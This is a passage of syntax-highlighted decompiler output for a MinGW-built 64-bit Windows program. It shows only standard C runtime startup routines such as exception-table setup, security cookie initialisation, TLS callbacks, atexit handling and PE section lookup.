</span></span></span><span style="display:flex;"><span> DWORD VirtualAddress; <span style="color:#75715e">// edx
</span></span></span><span style="display:flex;"><span> DWORD v6; <span style="color:#75715e">// edx
</span></span></span><span style="display:flex;"><span> DWORD v7; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> PIMAGE_SECTION_HEADER PESectionExec; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> ULONG v9; <span style="color:#75715e">// edx
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> PEImageBase <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetPEImageBase</span>();
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> was_here_73812;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>was_here_73812 <span style="color:#f92672">&&</span> PEImageBase )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> was_here_73812 <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span><span style="color:#a6e22e">FindPESectionByName</span>(<span style="color:#e6db74">".pdata"</span>) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v2 <span style="color:#f92672">=</span> emu_pdata;
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(emu_pdata, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(emu_pdata));
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(emu_xdata, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(emu_xdata));
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> emu_xdata;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> PESectionExec <span style="color:#f92672">=</span> <span style="color:#a6e22e">FindPESectionExec</span>(v3);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>PESectionExec )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> v4<span style="color:#f92672">-></span>VersionAndFlags <span style="color:#f92672">=</span> <span style="color:#ae81ff">9</span>;
</span></span><span style="display:flex;"><span> v4<span style="color:#f92672">-></span>AddressOfExceptionHandler <span style="color:#f92672">=</span> _mingw_SEH_error_handler <span style="color:#f92672">-</span> PEImageBase;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">++</span>v3;
</span></span><span style="display:flex;"><span> VirtualAddress <span style="color:#f92672">=</span> PESectionExec<span style="color:#f92672">-></span>VirtualAddress;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">++</span>v2;
</span></span><span style="display:flex;"><span> v2[<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>].BeginAddress <span style="color:#f92672">=</span> VirtualAddress;
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> PESectionExec<span style="color:#f92672">-></span>Misc.PhysicalAddress <span style="color:#f92672">+</span> VirtualAddress;
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> v4<span style="color:#f92672">++</span> <span style="color:#f92672">-</span> PEImageBase;
</span></span><span style="display:flex;"><span> v2[<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>].UnwindData <span style="color:#f92672">=</span> v7;
</span></span><span style="display:flex;"><span> v2[<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>].EndAddress <span style="color:#f92672">=</span> v6;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v3 <span style="color:#f92672">==</span> <span style="color:#ae81ff">32</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v9 <span style="color:#f92672">=</span> <span style="color:#ae81ff">32</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">goto</span> LABEL_11;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>v3 )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> v9 <span style="color:#f92672">=</span> v3;
</span></span><span style="display:flex;"><span>LABEL_11:
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">RtlAddFunctionTable</span>(emu_pdata, v9, PEImageBase);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402670) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">fpreset</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__asm</span> { fninit }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402680) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">_do_global_dtors</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> (<span style="color:#f92672">*</span>i)(<span style="color:#66d9ef">void</span>); <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( i <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>p_73208; i; <span style="color:#f92672">++</span>p_73208 )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">i</span>();
</span></span><span style="display:flex;"><span> i <span style="color:#f92672">=</span> p_73208[<span style="color:#ae81ff">1</span>];
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00000000004026C0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">_do_global_ctors</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> i; <span style="color:#75715e">// ebx
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> i <span style="color:#f92672">=</span> (<span style="color:#f92672">*</span>refptr___CTOR_LIST__)[<span style="color:#ae81ff">0</span>];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( i <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; (<span style="color:#f92672">*</span>refptr___CTOR_LIST__)[i <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>]; <span style="color:#f92672">++</span>i )
</span></span><span style="display:flex;"><span> ;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( ; i; <span style="color:#f92672">--</span>i )
</span></span><span style="display:flex;"><span> ((<span style="color:#f92672">*</span>refptr___CTOR_LIST__)[i])();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">atexit</span>(_do_global_dtors);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 405380: using guessed type __int64 (*refptr___CTOR_LIST__)[2];
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402720) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">_main</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>initialized )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> initialized <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_do_global_ctors</span>();
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402740) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">_security_init_cookie</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> FT v0; <span style="color:#75715e">// r12
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__int64</span> CurrentProcessId; <span style="color:#75715e">// rbp
</span></span></span><span style="display:flex;"><span> DWORD CurrentThreadId; <span style="color:#75715e">// edi
</span></span></span><span style="display:flex;"><span> DWORD TickCount; <span style="color:#75715e">// esi
</span></span></span><span style="display:flex;"><span> LONGLONG v4; <span style="color:#75715e">// rsi
</span></span></span><span style="display:flex;"><span> UINT_PTR v5; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> FT systime; <span style="color:#75715e">// [rsp+20h] [rbp-48h] BYREF
</span></span></span><span style="display:flex;"><span> LARGE_INTEGER perfctr; <span style="color:#75715e">// [rsp+30h] [rbp-38h] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> systime.ft_scalar <span style="color:#f92672">=</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( _security_cookie <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x2B992DDFA232LL</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">GetSystemTimeAsFileTime</span>(<span style="color:#f92672">&</span>systime);
</span></span><span style="display:flex;"><span> v0.ft_scalar <span style="color:#f92672">=</span> systime.ft_scalar;
</span></span><span style="display:flex;"><span> CurrentProcessId <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetCurrentProcessId</span>();
</span></span><span style="display:flex;"><span> CurrentThreadId <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetCurrentThreadId</span>();
</span></span><span style="display:flex;"><span> TickCount <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetTickCount</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">QueryPerformanceCounter</span>(<span style="color:#f92672">&</span>perfctr);
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> (TickCount <span style="color:#f92672">^</span> CurrentThreadId <span style="color:#f92672">^</span> perfctr.QuadPart <span style="color:#f92672">^</span> v0.ft_scalar <span style="color:#f92672">^</span> CurrentProcessId) <span style="color:#f92672">&</span> <span style="color:#ae81ff">0xFFFFFFFFFFFFLL</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v4 <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x2B992DDFA232LL</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0xFFFFD466D2205DCCuLL</span>;
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x2B992DDFA233LL</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> <span style="color:#f92672">~</span>v4;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> _security_cookie <span style="color:#f92672">=</span> v4;
</span></span><span style="display:flex;"><span> _security_cookie_complement <span style="color:#f92672">=</span> v5;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> _security_cookie_complement <span style="color:#f92672">=</span> <span style="color:#f92672">~</span>_security_cookie;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402820) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__fastcall</span> __noreturn <span style="color:#a6e22e">_report_gsfailure</span>(ULONG_PTR StackCookie)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> ULONG64 Rip; <span style="color:#75715e">// rbx
</span></span></span><span style="display:flex;"><span> _RUNTIME_FUNCTION <span style="color:#f92672">*</span>v3; <span style="color:#75715e">// r9
</span></span></span><span style="display:flex;"><span> HANDLE CurrentProcess; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> ULONG64 imgBase; <span style="color:#75715e">// [rsp+48h] [rbp-28h] BYREF
</span></span></span><span style="display:flex;"><span> ULONG64 establisherFrame; <span style="color:#75715e">// [rsp+50h] [rbp-20h] BYREF
</span></span></span><span style="display:flex;"><span> PVOID hndData; <span style="color:#75715e">// [rsp+58h] [rbp-18h] BYREF
</span></span></span><span style="display:flex;"><span> UINT_PTR cookie[<span style="color:#ae81ff">2</span>]; <span style="color:#75715e">// [rsp+60h] [rbp-10h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> vars8; <span style="color:#75715e">// [rsp+78h] [rbp+8h] BYREF
</span></span></span><span style="display:flex;"><span> DWORD64 retaddr; <span style="color:#75715e">// [rsp+88h] [rbp+18h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">RtlCaptureContext</span>(<span style="color:#f92672">&</span>GS_ContextRecord);
</span></span><span style="display:flex;"><span> Rip <span style="color:#f92672">=</span> GS_ContextRecord.Rip;
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">RtlLookupFunctionEntry</span>(GS_ContextRecord.Rip, <span style="color:#f92672">&</span>imgBase, <span style="color:#ae81ff">0LL</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v3 )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">RtlVirtualUnwind</span>(<span style="color:#ae81ff">0</span>, imgBase, Rip, v3, <span style="color:#f92672">&</span>GS_ContextRecord, <span style="color:#f92672">&</span>hndData, <span style="color:#f92672">&</span>establisherFrame, <span style="color:#ae81ff">0LL</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> GS_ContextRecord.Rip <span style="color:#f92672">=</span> retaddr;
</span></span><span style="display:flex;"><span> GS_ContextRecord.Rsp <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>vars8;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> GS_ContextRecord.Rcx <span style="color:#f92672">=</span> StackCookie;
</span></span><span style="display:flex;"><span> GS_ExceptionRecord.ExceptionCode <span style="color:#f92672">=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1073740791</span>;
</span></span><span style="display:flex;"><span> GS_ExceptionRecord.ExceptionFlags <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> GS_ExceptionRecord.ExceptionAddress <span style="color:#f92672">=</span> GS_ContextRecord.Rip;
</span></span><span style="display:flex;"><span> cookie[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> _security_cookie_complement;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">SetUnhandledExceptionFilter</span>(<span style="color:#ae81ff">0LL</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">UnhandledExceptionFilter</span>(<span style="color:#f92672">&</span>GS_ExceptionPointers);
</span></span><span style="display:flex;"><span> CurrentProcess <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetCurrentProcess</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">TerminateProcess</span>(CurrentProcess, <span style="color:#ae81ff">0xC0000409</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">abort</span>();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402920) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span>BOOL <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_dyn_tls_dtor</span>(HANDLE hDllHandle, DWORD dwReason, LPVOID lpreserved)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( dwReason <span style="color:#f92672">&&</span> dwReason <span style="color:#f92672">!=</span> <span style="color:#ae81ff">3</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_mingw_TLScallback</span>(hDllHandle, dwReason, lpreserved);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402950) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span>BOOL <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_dyn_tls_init</span>(HANDLE hDllHandle, DWORD dwReason, LPVOID lpreserved)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>refptr__CRT_MT <span style="color:#f92672">!=</span> <span style="color:#ae81ff">2</span> )
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>refptr__CRT_MT <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( dwReason <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_mingw_TLScallback</span>(hDllHandle, <span style="color:#ae81ff">1u</span>, lpreserved);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 405360: using guessed type int *refptr__CRT_MT;
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00000000004029C0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_tlregdtor</span>(_PVFV func)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00000000004029D0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span>_onexit_t <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">mingw_onexit</span>(_onexit_t func)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> (<span style="color:#f92672">*</span>v2)(<span style="color:#66d9ef">void</span>); <span style="color:#75715e">// rbx
</span></span></span><span style="display:flex;"><span> _PVFV <span style="color:#f92672">*</span>onexitbegin; <span style="color:#75715e">// [rsp+20h] [rbp-18h] BYREF
</span></span></span><span style="display:flex;"><span> _PVFV <span style="color:#f92672">*</span>onexitend; <span style="color:#75715e">// [rsp+28h] [rbp-10h] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> onexitbegin <span style="color:#f92672">=</span> <span style="color:#a6e22e">decode_pointer</span>(_onexitbegin);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( onexitbegin <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1LL</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> (<span style="color:#f92672">*</span>refptr___imp__onexit)(func);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">lock</span>(<span style="color:#ae81ff">8LL</span>);
</span></span><span style="display:flex;"><span> onexitbegin <span style="color:#f92672">=</span> <span style="color:#a6e22e">decode_pointer</span>(_onexitbegin);
</span></span><span style="display:flex;"><span> onexitend <span style="color:#f92672">=</span> <span style="color:#a6e22e">decode_pointer</span>(_onexitend);
</span></span><span style="display:flex;"><span> v2 <span style="color:#f92672">=</span> <span style="color:#a6e22e">_dllonexit</span>(func, <span style="color:#f92672">&</span>onexitbegin, <span style="color:#f92672">&</span>onexitend);
</span></span><span style="display:flex;"><span> _onexitbegin <span style="color:#f92672">=</span> <span style="color:#a6e22e">encode_pointer</span>(onexitbegin);
</span></span><span style="display:flex;"><span> _onexitend <span style="color:#f92672">=</span> <span style="color:#a6e22e">encode_pointer</span>(onexitend);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">unlock</span>(<span style="color:#ae81ff">8LL</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> v2;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 403180: using guessed type __int64 __fastcall lock(_QWORD);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 403188: using guessed type __int64 __fastcall _dllonexit(_QWORD, _QWORD, _QWORD);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 403190: using guessed type __int64 __fastcall unlock(_QWORD);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 405400: using guessed type _UNKNOWN *refptr___imp__onexit;
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402A80) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">atexit</span>(_PVFV func)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span>(<span style="color:#a6e22e">mingw_onexit</span>(func) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0LL</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402AA0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">my_lconv_init</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">__lconv_init</span>();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 409350: using guessed type __int64 __lconv_init(void);
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402AB0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span>WINBOOL <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">ValidateImageBase_part_0</span>(PBYTE pImageBase)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> BYTE <span style="color:#f92672">*</span>v1; <span style="color:#75715e">// rcx
</span></span></span><span style="display:flex;"><span> WINBOOL result; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>pImageBase[<span style="color:#f92672">*</span>(pImageBase <span style="color:#f92672">+</span> <span style="color:#ae81ff">15</span>)];
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>v1 <span style="color:#f92672">==</span> <span style="color:#ae81ff">17744</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#f92672">*</span>(v1 <span style="color:#f92672">+</span> <span style="color:#ae81ff">12</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">523</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402AD0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span>WINBOOL <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">ValidateImageBase</span>(PBYTE pImageBase)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>pImageBase <span style="color:#f92672">==</span> <span style="color:#ae81ff">23117</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">ValidateImageBase_part_0</span>(pImageBase);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402AF0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span>PIMAGE_SECTION_HEADER <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">FindPESection</span>(PBYTE pImageBase, DWORD_PTR rva)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> BYTE <span style="color:#f92672">*</span>v2; <span style="color:#75715e">// rcx
</span></span></span><span style="display:flex;"><span> PIMAGE_SECTION_HEADER result; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v4; <span style="color:#75715e">// ecx
</span></span></span><span style="display:flex;"><span> _IMAGE_SECTION_HEADER <span style="color:#f92672">*</span>v5; <span style="color:#75715e">// r9
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v2 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>pImageBase[<span style="color:#f92672">*</span>(pImageBase <span style="color:#f92672">+</span> <span style="color:#ae81ff">15</span>)];
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>v2[<span style="color:#f92672">*</span>(v2 <span style="color:#f92672">+</span> <span style="color:#ae81ff">10</span>) <span style="color:#f92672">+</span> <span style="color:#ae81ff">24</span>];
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(v2 <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>v4 )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>result[(v4 <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( result<span style="color:#f92672">-></span>VirtualAddress <span style="color:#f92672">></span> rva <span style="color:#f92672">||</span> rva <span style="color:#f92672">>=</span> result<span style="color:#f92672">-></span>Misc.PhysicalAddress <span style="color:#f92672">+</span> result<span style="color:#f92672">-></span>VirtualAddress )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">++</span>result <span style="color:#f92672">==</span> v5 )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402B40) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span>PIMAGE_SECTION_HEADER <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">FindPESectionByName</span>(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>pName)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> BYTE <span style="color:#f92672">*</span>v3; <span style="color:#75715e">// rdx
</span></span></span><span style="display:flex;"><span> _IMAGE_SECTION_HEADER <span style="color:#f92672">*</span>v4; <span style="color:#75715e">// rbx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v5; <span style="color:#75715e">// edx
